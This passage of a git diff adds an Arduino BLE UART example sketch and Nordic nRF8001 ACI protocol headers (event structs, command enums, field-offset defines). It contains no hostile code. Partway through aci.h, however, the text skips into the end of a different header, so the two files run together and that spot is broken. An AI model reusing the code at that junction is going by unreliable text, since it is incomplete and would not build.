ACI_EVT_CONNECTED) { + // Lets see if there's any data for us! + if (BTLEserial.available()) { + Serial.print("* "); Serial.print(BTLEserial.available()); Serial.println(F(" bytes available from BTLE")); + } + // OK while we still have something to read, get a character and print it out + while (BTLEserial.available()) { + char c = BTLEserial.read(); + Serial.print(c); + } + + // Next up, see if we have any data to get from the Serial console + + if (Serial.available()) { + // Read a line from Serial + Serial.setTimeout(100); // 100 millisecond timeout + String s = Serial.readString(); + + // We need to convert the line to bytes, no more than 20 at this time + uint8_t sendbuffer[20]; + s.getBytes(sendbuffer, 20); + char sendbuffersize = min(20, s.length()); + + Serial.print(F("\n* Sending -> \"")); Serial.print((char *)sendbuffer); Serial.println("\""); + + // write the data + BTLEserial.write(sendbuffer, sendbuffersize); + } + } +} diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci.h new file mode 100755 index 0000000..8535339 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci.h @@ -0,0 +1,608 @@ +/* Copyright (c) 2010 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * @file + * + * @defgroup aci aci + * @{ + * @ingroup lib + * + * @brief Definitions for the ACI (Application Control Interface) + * @remarks + * + * Flow control from application mcu to nRF8001 + * + * Data flow control: + * The flow control is credit based and the credit is initally given using the "device started" event. + * A credit of more than 1 is given to the application mcu. + * These credits are used only after the "ACI Connected Event" is sent to the application mcu. + * + * every send_data that is used decrements the credit available by 1. This is to be tracked by the application mcu. + * When the credit available reaches 0, the application mcu shall not send any more send_data. + * Credit is returned using the "credit event", this returned credit can then be used to send more send_data. + * This flow control is not necessary and not available for Broadcast. + * The entire credit available with the external mcu expires when a "disconnected" event arrives. + * + * Command flow control: + * When a command is sent over the ACI, the next command shall not be sent until after a response + * for the command sent has arrived. + * + */ + +#ifndef ACI_H__ +#define ACI_H__ + +/** + * @def ACI_VERSION + * @brief Current ACI protocol version. 0 means a device that is not yet released. + * A numer greater than 0 refers to a specific ACI version documented and released. + * The ACI consists of the ACI commands, ACI events and error codes. + */ +#define ACI_VERSION (0x02) +/** + * @def BTLE_DEVICE_ADDRESS_SIZE + * @brief Size in bytes of a Bluetooth Address + */ +#define BTLE_DEVICE_ADDRESS_SIZE (6) +/** + * @def ACI_PACKET_MAX_LEN + * @brief Maximum length in bytes of a full ACI packet, including length prefix, opcode and payload + */ +#define ACI_PACKET_MAX_LEN (32) +/** + * @def ACI_ECHO_DATA_MAX_LEN + * @brief Maximum length in bytes of the echo data portion + */ +#define ACI_ECHO_DATA_MAX_LEN (ACI_PACKET_MAX_LEN - 3) +/** + * @def ACI_DEVICE_MAX_PIPES + * @brief Maximum number of ACI pipes + */ +#define ACI_DEVICE_MAX_PIPES (62) +/** + * @def ACI_PIPE_TX_DATA_MAX_LEN + * @brief Maximum length in bytes of a transmission data pipe packet + */ +#define ACI_PIPE_TX_DATA_MAX_LEN (20) +/** + * @def ACI_PIPE_RX_DATA_MAX_LEN + * @brief Maximum length in bytes of a reception data pipe packet + */ +#define ACI_PIPE_RX_DATA_MAX_LEN (22) +/** + * @def ACI_GAP_DEVNAME_MAX_LEN + * @brief Maximum length in bytes of the GAP device name + */ +#define ACI_GAP_DEVNAME_MAX_LEN (20) +/** + * @def ACI_AD_PACKET_MAX_LEN + * @brief Maximum length in bytes of an AD packet + */ +#define ACI_AD_PACKET_MAX_LEN (31) +/** + * @def ACI_AD_PACKET_MAX_USER_LEN + * @brief Maximum usable length in bytes of an AD packet + */ +#define ACI_AD_PACKET_MAX_USER_LEN (31 - 3) +/** + * @def ACI_PIPE_INVALID + * @brief Invalid pipe number + */ +#define ACI_PIPE_INVALID (0xFF) + +/** + * @enum aci_pipe_store_t + * @brief Storage type identifiers: local and remote + */ +typedef enum +{ + ACI_STORE_INVALID = 0x0, + ACI_STORE_LOCAL= 0x01, + ACI_STORE_REMOTE= 0x02 +} aci_pipe_store_t; + +/** + * @enum aci_pipe_type_t + * @brief Pipe types + */ +typedef enum +{ + ACI_TX_BROADCAST = 0x0001, + ACI_TX = 0x0002, + ACI_TX_ACK = 0x0004, + ACI_RX = 0x0008, + ACI_RX_ACK = 0x0010, + ACI_TX_REQ = 0x0020, + ACI_RX_REQ = 0x0040, + ACI_SET = 0x0080, + ACI_TX_SIGN = 0x0100, + ACI_RX_SIGN = 0x0200, + ACI_RX_ACK_AUTO = 0x0400 +} aci_pipe_type_t; + +/** + * @enum aci_bd_addr_type_t + * @brief Bluetooth Address types + */ +typedef enum +{ + ACI_BD_ADDR_TYPE_INVALID = 0x00, + ACI_BD_ADDR_TYPE_PUBLIC = 0x01, + ACI_BD_ADDR_TYPE_RANDOM_STATIC = 0x02, + ACI_BD_ADDR_TYPE_RANDOM_PRIVATE_RESOLVABLE = 0x03, + ACI_BD_ADDR_TYPE_RANDOM_PRIVATE_UNRESOLVABLE = 0x04 +} aci_bd_addr_type_t; + +/** + * @enum aci_device_output_power_t + * @brief Radio output power levels + */ +typedef enum +{ + ACI_DEVICE_OUTPUT_POWER_MINUS_18DBM = 0x00, /**< Output power set to -18dBm */ + ACI_DEVICE_OUTPUT_POWER_MINUS_12DBM = 0x01, /**< Output power set to -12dBm */ + ACI_DEVICE_OUTPUT_POWER_MINUS_6DBM = 0x02, /**< Output power set to -6dBm */ + ACI_DEVICE_OUTPUT_POWER_0DBM = 0x03 /**< Output power set to 0dBm - DEFAULT*/ +} aci_device_output_power_t; + +/** + * @enum aci_device_operation_mode_t + * @brief Device operation modes + */ +typedef enum +{ + ACI_DEVICE_INVALID =0x00, + ACI_DEVICE_TEST =0x01, + ACI_DEVICE_SETUP =0x02, + ACI_DEVICE_STANDBY =0x03, + ACI_DEVICE_SLEEP =0x04 +} aci_device_operation_mode_t; + +/** + * @enum aci_disconnect_reason_t + * @brief Reason enumeration for ACI_CMD_DISCONNECT + */ +typedef enum +{ + ACI_REASON_TERMINATE =0x01, /**< Use this to disconnect (does a terminate request), you need to wait for the "disconnected" event */ + ACI_REASON_BAD_TIMING =0x02 /* Opcode of the ACI command */ + union + { + aci_cmd_params_test_t test; + aci_cmd_params_echo_t echo; + aci_cmd_params_dtm_cmd_t dtm_cmd; + aci_cmd_params_setup_t setup; + aci_cmd_params_write_dynamic_data_t write_dynamic_data; + aci_cmd_params_set_local_data_t set_local_data; + aci_cmd_params_connect_t connect; + aci_cmd_params_bond_t bond; + aci_cmd_params_disconnect_t disconnect; + aci_cmd_params_set_tx_power_t set_tx_power; + aci_cmd_params_change_timing_t change_timing; + aci_cmd_params_open_remote_pipe_t open_remote_pipe; + aci_cmd_params_send_data_t send_data; + aci_cmd_params_send_data_ack_t send_data_ack; + aci_cmd_params_request_data_t request_data; + aci_cmd_params_send_data_nack_t send_data_nack; + aci_cmd_params_set_app_latency_t set_app_latency; + aci_cmd_params_set_key_t set_key; + aci_cmd_params_open_adv_pipe_t open_adv_pipe; + aci_cmd_params_broadcast_t broadcast; + aci_cmd_params_close_remote_pipe_t close_remote_pipe; + + } params; +} aci_cmd_t; + +#endif // ACI_CMDS_H__ + + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_evts.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_evts.h new file mode 100755 index 0000000..77f2f2c --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_evts.h @@ -0,0 +1,364 @@ +/* Copyright (c) 2010 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * @file + * + * @ingroup aci + * + * @brief Definitions for the ACI (Application Control Interface) events + */ + +#ifndef ACI_EVTS_H__ +#define ACI_EVTS_H__ + +#include "aci.h" +/** + * @enum aci_evt_opcode_t + * @brief ACI event opcodes + */ +typedef enum +{ + /** + * Invalid event code + */ + ACI_EVT_INVALID = 0x00, + /** + * Sent every time the device starts + */ + ACI_EVT_DEVICE_STARTED = 0x81, + /** + * Mirrors the ACI_CMD_ECHO + */ + ACI_EVT_ECHO = 0x82, + /** + * Asynchronous hardware error event + */ + ACI_EVT_HW_ERROR = 0x83, + /** + * Event opcode used as a event response for all commands + */ + ACI_EVT_CMD_RSP = 0x84, + /** + * Link connected + */ + ACI_EVT_CONNECTED = 0x85, + /** + * Link disconnected + */ + ACI_EVT_DISCONNECTED = 0x86, + /** + * Bond completion result + */ + ACI_EVT_BOND_STATUS = 0x87, + /** + * Pipe bitmap for available pipes + */ + ACI_EVT_PIPE_STATUS = 0x88, + /** + * Sent to the application when the radio enters a connected state + * or when the timing of the radio connection changes + */ + ACI_EVT_TIMING = 0x89, + /** + * Notification to the application that transmit credits are + * available + */ + ACI_EVT_DATA_CREDIT = 0x8A, + /** + * Data acknowledgement event + */ + ACI_EVT_DATA_ACK = 0x8B, + /** + * Data received notification event + */ + ACI_EVT_DATA_RECEIVED = 0x8C, + /** + * Error notification event + */ + ACI_EVT_PIPE_ERROR = 0x8D, + /** + * Display Passkey Event + */ + ACI_EVT_DISPLAY_PASSKEY = 0x8E, + /** + * Security Key request + */ + ACI_EVT_KEY_REQUEST = 0x8F + +} aci_evt_opcode_t; + +/** + * @struct aci_evt_params_device_started_t + * @brief Structure for the ACI_EVT_DEVICE_STARTED event return parameters + */ +typedef struct +{ + uint8_t device_mode; /**< enum aci_device_operation_mode_t -> Mode in which the device is being started */ + uint8_t hw_error; /**< enum aci_hw_error_t -> Hardware Error if available for the start */ + uint8_t credit_available; /**< Flow control credit available for this specific FW build */ +} aci_evt_params_device_started_t; + +/** + * @struct aci_evt_params_hw_error_t + * @brief Structure for the ACI_EVT_HW_ERROR event return parameters + */ +typedef struct +{ + uint16_t line_num; + uint8_t file_name[20]; +} aci_evt_params_hw_error_t; + +/** + * @struct aci_evt_cmd_rsp_params_dtm_cmd_t + * @brief Structure for the ACI_EVT_CMD_RSP event with opcode=ACI_CMD_DTM_CMD event return parameters + */ +typedef struct +{ + uint8_t evt_msb; + uint8_t evt_lsb; +} aci_evt_cmd_rsp_params_dtm_cmd_t; + +/** + * @struct aci_evt_cmd_rsp_read_dynamic_data_t + * @brief Structure for the ACI_EVT_CMD_RSP event with opcode=ACI_CMD_READ_DYNAMIC_DATA event return parameters + * @note Dynamic data chunk size in this event is defined to go up to ACI_PACKET_MAX_LEN - 5 + */ +typedef struct +{ + uint8_t seq_no; + uint8_t dynamic_data[1]; +} aci_evt_cmd_rsp_read_dynamic_data_t; + +/** + * @struct aci_evt_cmd_rsp_params_get_device_version_t + * @brief Structure for the ACI_EVT_CMD_RSP event with opcode=ACI_CMD_GET_DEVICE_VERSION event return parameters + */ +typedef struct +{ + uint16_t configuration_id; + uint8_t aci_version; + uint8_t setup_format; + uint32_t setup_id; + uint8_t setup_status; +} aci_evt_cmd_rsp_params_get_device_version_t; + +/** + * @struct aci_evt_cmd_rsp_params_get_device_address_t + * @brief Structure for the ACI_EVT_CMD_RSP event with opcode=ACI_CMD_GET_DEVICE_ADDRESS event return parameters + */ +typedef struct +{ + uint8_t bd_addr_own[BTLE_DEVICE_ADDRESS_SIZE]; + uint8_t bd_addr_type; /**< enum aci_bd_addr_type_t */ +} aci_evt_cmd_rsp_params_get_device_address_t; + +/** + * @struct aci_evt_cmd_rsp_params_get_battery_level_t + * @brief Structure for the ACI_EVT_CMD_RSP event with opcode=ACI_CMD_GET_BATTERY_LEVEL event return parameters + */ +typedef struct +{ + uint16_t battery_level; +} aci_evt_cmd_rsp_params_get_battery_level_t; + +/** + * @struct aci_evt_cmd_rsp_params_get_temperature_t + * @brief Structure for the ACI_EVT_CMD_RSP event with opcode=ACI_CMD_GET_TEMPERATURE event return parameters + */ +typedef struct +{ + int16_t temperature_value; +} aci_evt_cmd_rsp_params_get_temperature_t; + +/** + * @struct aci_evt_params_cmd_rsp_t + * @brief Structure for the ACI_EVT_CMD_RSP event return parameters + */ +typedef struct +{ + uint8_t cmd_opcode; /**< enum aci_cmd_opcode_t -> Command opcode for which the event response is being sent */ + uint8_t cmd_status; /**< enum aci_status_code_t -> Status of the command that was sent. Used in the context of the command. */ + union + { + aci_evt_cmd_rsp_params_dtm_cmd_t dtm_cmd; + aci_evt_cmd_rsp_read_dynamic_data_t read_dynamic_data; + aci_evt_cmd_rsp_params_get_device_version_t get_device_version; + aci_evt_cmd_rsp_params_get_device_address_t get_device_address; + aci_evt_cmd_rsp_params_get_battery_level_t get_battery_level; + aci_evt_cmd_rsp_params_get_temperature_t get_temperature; + uint8_t padding[29]; + } params; +} aci_evt_params_cmd_rsp_t; + +/** + * @struct aci_evt_params_connected_t + * @brief Structure for the ACI_EVT_CONNECTED event return parameters + */ +typedef struct +{ + aci_bd_addr_type_t dev_addr_type; + uint8_t dev_addr[BTLE_DEVICE_ADDRESS_SIZE]; + uint16_t conn_rf_interval; /**< rf_interval = conn_rf_interval * 1.25 ms Range:0x0006 to 0x0C80 */ + uint16_t conn_slave_rf_latency; /**< Number of RF events the slave can skip */ + uint16_t conn_rf_timeout; /**< Timeout as a multiple of 10ms i.e timeout = conn_rf_timeout * 10ms Range: 0x000A to 0x0C80 */ + uint8_t master_clock_accuracy; /**< enum aci_clock_accuracy_t -> Clock accuracy of Bluetooth master: Enumerated list of values from 500 ppm to 20 ppm */ +} aci_evt_params_connected_t; + +/** + * @struct aci_evt_params_disconnected_t + * @brief Structure for the ACI_EVT_DISCONNECTED event return parameters + */ +typedef struct +{ + uint8_t aci_status; /**< enum aci_status_code_t */ + uint8_t btle_status; +} aci_evt_params_disconnected_t; + +/** + * @struct aci_evt_params_bond_status_t + * @brief Structure for the ACI_EVT_BOND_STATUS event return parameters + */ +typedef struct +{ + uint8_t status_code; + uint8_t status_source; /**< enum aci_bond_status_source_t */ + uint8_t secmode1_bitmap; + uint8_t secmode2_bitmap; + uint8_t keys_exchanged_slave; + uint8_t keys_exchanged_master; +} aci_evt_params_bond_status_t; + +/** + * @struct aci_evt_params_pipe_status_t + * @brief Structure for the ACI_EVT_PIPE_STATUS event return parameters + */ +typedef struct +{ + uint8_t pipes_open_bitmap[8]; + uint8_t pipes_closed_bitmap[8]; +} aci_evt_params_pipe_status_t; + +/** + * @struct aci_evt_params_timing_t + * @brief Structure for the ACI_EVT_TIMING event return parameters + */ +typedef struct +{ + uint16_t conn_rf_interval; /**< rf_interval = conn_rf_interval * 1.25 ms Range:0x0006 to 0x0C80 */ + uint16_t conn_slave_rf_latency; /**< Number of RF events the slave can skip */ + uint16_t conn_rf_timeout; /**< Timeout as a multiple of 10ms i.e timeout = conn_rf_timeout * 10ms Range: 0x000A to 0x0C80 */ +} aci_evt_params_timing_t; + +/** + * @struct aci_evt_params_data_credit_t + * @brief Structure for the ACI_EVT_DATA_CREDIT event return parameters + */ +typedef struct +{ + uint8_t credit; +} aci_evt_params_data_credit_t; + +/** + * @struct aci_evt_params_data_ack_t + * @brief Structure for the ACI_EVT_DATA_ACK event return parameters + */ +typedef struct +{ + uint8_t pipe_number; +} aci_evt_params_data_ack_t; + +/** + * @struct aci_evt_params_data_received_t + * @brief Structure for the ACI_EVT_DATA_RECEIVED event return parameters + */ +typedef struct +{ + aci_rx_data_t rx_data; +} aci_evt_params_data_received_t; + +typedef struct +{ + uint8_t content[1]; +} error_data_t; + +/** + * @struct aci_evt_params_pipe_error_t + * @brief Structure for the ACI_EVT_PIPE_ERROR event return parameters + */ +typedef struct +{ + uint8_t pipe_number; + uint8_t error_code; + union + { + error_data_t error_data; + } params; +} aci_evt_params_pipe_error_t; + +/** + * @struct aci_evt_params_display_passkey_t + * @brief Structure for the ACI_EVT_DISPLAY_PASSKEY event return parameters + */ +typedef struct +{ + uint8_t passkey[6]; +} aci_evt_params_display_passkey_t; + +/** + * @struct aci_evt_params_key_request_t + * @brief Structure for the ACI_EVT_KEY_REQUEST event return parameters + */ +typedef struct +{ + uint8_t key_type; /**< enum aci_key_type_t */ +} aci_evt_params_key_request_t; + +/** + * @struct aci_event_params_echo_t + * @brief Structure for the ACI_EVT_ECHO ACI event parameters + */ +typedef struct +{ + uint8_t echo_data[ACI_ECHO_DATA_MAX_LEN]; +} aci_evt_params_echo_t; + +/** + * @struct aci_evt_t + * @brief Encapsulates a generic ACI event + */ +typedef struct +{ + uint8_t len; + uint8_t evt_opcode; /** enum aci_evt_opcode_t */ + union + { + aci_evt_params_device_started_t device_started; + aci_evt_params_echo_t echo; + aci_evt_params_hw_error_t hw_error; + aci_evt_params_cmd_rsp_t cmd_rsp; + aci_evt_params_connected_t connected; + aci_evt_params_disconnected_t disconnected; + aci_evt_params_bond_status_t bond_status; + aci_evt_params_pipe_status_t pipe_status; + aci_evt_params_timing_t timing; + aci_evt_params_data_credit_t data_credit; + aci_evt_params_data_ack_t data_ack; + aci_evt_params_data_received_t data_received; + aci_evt_params_pipe_error_t pipe_error; + aci_evt_params_display_passkey_t display_passkey; + aci_evt_params_key_request_t key_request; + } params; +} aci_evt_t; + +#endif // ACI_EVTS_H__ diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_protocol_defines.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_protocol_defines.h new file mode 100755 index 0000000..cfa43ec --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci_protocol_defines.h @@ -0,0 +1,178 @@ +/* Copyright (c) 2009 Nordic Semiconductor. All Rights Reserved. * + * * + * The information contained herein is property of Nordic Semiconductor ASA.* + * Terms and conditions of usage are described in detail in NORDIC * + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. * + * * + * Licensees are granted free, non-transferable use of the information. NO * + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from * + * the file. * + * */ + +/* * + * This file contents defines for the position of all the fields of ACI * + * command or event messages * + * */ + +#ifndef ACI_OFFSET_H__ +#define ACI_OFFSET_H__ + + + #define OFFSET_ACI_LL_CONN_PARAMS_T_MIN_CONN_INTERVAL_LSB 0 + #define OFFSET_ACI_LL_CONN_PARAMS_T_MIN_CONN_INTERVAL_MSB 1 + #define OFFSET_ACI_LL_CONN_PARAMS_T_MAX_CONN_INTERVAL_LSB 2 + #define OFFSET_ACI_LL_CONN_PARAMS_T_MAX_CONN_INTERVAL_MSB 3 + #define OFFSET_ACI_LL_CONN_PARAMS_T_SLAVE_LATENCY_LSB 4 + #define OFFSET_ACI_LL_CONN_PARAMS_T_SLAVE_LATENCY_MSB 5 + #define OFFSET_ACI_LL_CONN_PARAMS_T_TIMEOUT_MULT_LSB 6 + #define OFFSET_ACI_LL_CONN_PARAMS_T_TIMEOUT_MULT_MSB 7 + #define OFFSET_ACI_TX_DATA_T_PIPE_NUMBER 0 + #define OFFSET_ACI_TX_DATA_T_ACI_DATA 1 + #define OFFSET_ACI_RX_DATA_T_PIPE_NUMBER 0 + #define OFFSET_ACI_RX_DATA_T_ACI_DATA 1 + #define OFFSET_ACI_CMD_PARAMS_TEST_T_TEST_MODE_CHANGE 0 + #define OFFSET_ACI_CMD_PARAMS_ECHO_T_ECHO_DATA 0 + #define OFFSET_ACI_CMD_PARAMS_DTM_CMD_T_CMD_MSB 0 + #define OFFSET_ACI_CMD_PARAMS_DTM_CMD_T_CMD_LSB 1 + #define OFFSET_ACI_CMD_PARAMS_SETUP_T_SETUP_DATA 0 + #define OFFSET_ACI_CMD_PARAMS_WRITE_DYNAMIC_DATA_T_SEQ_NO 0 + #define OFFSET_ACI_CMD_PARAMS_WRITE_DYNAMIC_DATA_T_DYNAMIC_DATA 1 + #define OFFSET_ACI_CMD_PARAMS_SET_LOCAL_DATA_T_TX_DATA 0 + #define OFFSET_ACI_CMD_PARAMS_CONNECT_T_TIMEOUT_LSB 0 + #define OFFSET_ACI_CMD_PARAMS_CONNECT_T_TIMEOUT_MSB 1 + #define OFFSET_ACI_CMD_PARAMS_CONNECT_T_ADV_INTERVAL_LSB 2 + #define OFFSET_ACI_CMD_PARAMS_CONNECT_T_ADV_INTERVAL_MSB 3 + #define OFFSET_ACI_CMD_PARAMS_BOND_T_TIMEOUT_LSB 0 + #define OFFSET_ACI_CMD_PARAMS_BOND_T_TIMEOUT_MSB 1 + #define OFFSET_ACI_CMD_PARAMS_BOND_T_ADV_INTERVAL_LSB 2 + #define OFFSET_ACI_CMD_PARAMS_BOND_T_ADV_INTERVAL_MSB 3 + #define OFFSET_ACI_CMD_PARAMS_DISCONNECT_T_REASON 0 + #define OFFSET_ACI_CMD_PARAMS_SET_TX_POWER_T_DEVICE_POWER 0 + #define OFFSET_ACI_CMD_PARAMS_CHANGE_TIMING_T_CONN_PARAMS 0 + #define OFFSET_ACI_CMD_PARAMS_OPEN_REMOTE_PIPE_T_PIPE_NUMBER 0 + #define OFFSET_ACI_CMD_PARAMS_SEND_DATA_T_TX_DATA 0 + #define OFFSET_ACI_CMD_PARAMS_SEND_DATA_ACK_T_PIPE_NUMBER 0 + #define OFFSET_ACI_CMD_PARAMS_REQUEST_DATA_T_PIPE_NUMBER 0 + #define OFFSET_ACI_CMD_PARAMS_SEND_DATA_NACK_T_PIPE_NUMBER 0 + #define OFFSET_ACI_CMD_PARAMS_SEND_DATA_NACK_T_ERROR_CODE 1 + #define OFFSET_ACI_CMD_PARAMS_SET_APP_LATENCY_T_MODE 0 + #define OFFSET_ACI_CMD_PARAMS_SET_APP_LATENCY_T_LATENCY_LSB 0 + #define OFFSET_ACI_CMD_PARAMS_SET_APP_LATENCY_T_LATENCY_MSB 1 + #define OFFSET_ACI_CMD_PARAMS_SET_KEY_T_KEY_TYPE 0 + #define OFFSET_ACI_CMD_PARAMS_SET_KEY_T_PASSKEY 1 + #define OFFSET_ACI_CMD_PARAMS_SET_KEY_T_OOB_KEY 1 + #define OFFSET_ACI_CMD_PARAMS_OPEN_ADV_PIPE_T_PIPES 0 + #define OFFSET_ACI_CMD_PARAMS_BROADCAST_T_TIMEOUT_LSB 0 + #define OFFSET_ACI_CMD_PARAMS_BROADCAST_T_TIMEOUT_MSB 1 + #define OFFSET_ACI_CMD_PARAMS_BROADCAST_T_ADV_INTERVAL_LSB 2 + #define OFFSET_ACI_CMD_PARAMS_BROADCAST_T_ADV_INTERVAL_MSB 3 + #define OFFSET_ACI_CMD_PARAMS_CLOSE_REMOTE_PIPE_T_PIPE_NUMBER 0 + #define OFFSET_ACI_CMD_T_LEN 0 + #define OFFSET_ACI_CMD_T_CMD_OPCODE 1 + #define OFFSET_ACI_CMD_T_TEST 2 + #define OFFSET_ACI_CMD_T_ECHO 2 + #define OFFSET_ACI_CMD_T_DTM_CMD 2 + #define OFFSET_ACI_CMD_T_SETUP 2 + #define OFFSET_ACI_CMD_T_WRITE_DYNAMIC_DATA 2 + #define OFFSET_ACI_CMD_T_SET_LOCAL_DATA 2 + #define OFFSET_ACI_CMD_T_CONNECT 2 + #define OFFSET_ACI_CMD_T_BOND 2 + #define OFFSET_ACI_CMD_T_DISCONNECT 2 + #define OFFSET_ACI_CMD_T_SET_TX_POWER 2 + #define OFFSET_ACI_CMD_T_CHANGE_TIMING 2 + #define OFFSET_ACI_CMD_T_OPEN_REMOTE_PIPE 2 + #define OFFSET_ACI_CMD_T_SEND_DATA 2 + #define OFFSET_ACI_CMD_T_SEND_DATA_ACK 2 + #define OFFSET_ACI_CMD_T_REQUEST_DATA 2 + #define OFFSET_ACI_CMD_T_SEND_DATA_NACK 2 + #define OFFSET_ACI_CMD_T_SET_APP_LATENCY 2 + #define OFFSET_ACI_CMD_T_SET_KEY 2 + #define OFFSET_ACI_CMD_T_OPEN_ADV_PIPE 2 + #define OFFSET_ACI_CMD_T_BROADCAST 2 + #define OFFSET_ACI_CMD_T_CLOSE_REMOTE_PIPE 2 + #define OFFSET_ACI_EVT_PARAMS_DEVICE_STARTED_T_DEVICE_MODE 0 + #define OFFSET_ACI_EVT_PARAMS_DEVICE_STARTED_T_HW_ERROR 1 + #define OFFSET_ACI_EVT_PARAMS_DEVICE_STARTED_T_CREDIT_AVAILABLE 2 + #define OFFSET_ACI_EVT_PARAMS_HW_ERROR_T_LINE_NUM_LSB 0 + #define OFFSET_ACI_EVT_PARAMS_HW_ERROR_T_LINE_NUM_MSB 1 + #define OFFSET_ACI_EVT_PARAMS_HW_ERROR_T_FILE_NAME 2 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_DTM_CMD_T_EVT_MSB 0 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_DTM_CMD_T_EVT_LSB 1 + #define OFFSET_ACI_EVT_CMD_RSP_READ_DYNAMIC_DATA_T_SEQ_NO 0 + #define OFFSET_ACI_EVT_CMD_RSP_READ_DYNAMIC_DATA_T_DYNAMIC_DATA 1 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_CONFIGURATION_ID_LSB 0 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_CONFIGURATION_ID_MSB 1 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_ACI_VERSION 2 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_FORMAT 3 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_ID_LSB0 4 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_ID_LSB1 5 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_ID_MSB0 6 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_ID_MSB1 7 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_VERSION_T_SETUP_STATUS 8 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_ADDRESS_T_BD_ADDR_OWN 0 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_DEVICE_ADDRESS_T_BD_ADDR_TYPE 6 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_BATTERY_LEVEL_T_BATTERY_LEVEL_LSB 0 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_BATTERY_LEVEL_T_BATTERY_LEVEL_MSB 1 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_TEMPERATURE_T_TEMPERATURE_VALUE_LSB 0 + #define OFFSET_ACI_EVT_CMD_RSP_PARAMS_GET_TEMPERATURE_T_TEMPERATURE_VALUE_MSB 1 + #define OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_CMD_OPCODE 0 + #define OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_CMD_STATUS 1 + #define OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_DTM_CMD 2 + #define OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_READ_DYNAMIC_DATA 2 + #define OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_VERSION 2 + #define OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_DEVICE_ADDRESS 2 + #define OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_BATTERY_LEVEL 2 + #define OFFSET_ACI_EVT_PARAMS_CMD_RSP_T_GET_TEMPERATURE 2 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_DEV_ADDR_TYPE 0 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_DEV_ADDR 1 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_RF_INTERVAL_LSB 7 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_RF_INTERVAL_MSB 8 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_SLAVE_RF_LATENCY_LSB 9 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_SLAVE_RF_LATENCY_MSB 10 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_RF_TIMEOUT_LSB 11 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_CONN_RF_TIMEOUT_MSB 12 + #define OFFSET_ACI_EVT_PARAMS_CONNECTED_T_MASTER_CLOCK_ACCURACY 13 + #define OFFSET_ACI_EVT_PARAMS_DISCONNECTED_T_ACI_STATUS 0 + #define OFFSET_ACI_EVT_PARAMS_DISCONNECTED_T_BTLE_STATUS 1 + #define OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_STATUS_CODE 0 + #define OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_STATUS_SOURCE 1 + #define OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_SECMODE1_BITMAP 2 + #define OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_SECMODE2_BITMAP 3 + #define OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_KEYS_EXCHANGED_SLAVE 4 + #define OFFSET_ACI_EVT_PARAMS_BOND_STATUS_T_KEYS_EXCHANGED_MASTER 5 + #define OFFSET_ACI_EVT_PARAMS_PIPE_STATUS_T_PIPES_OPEN_BITMAP 0 + #define 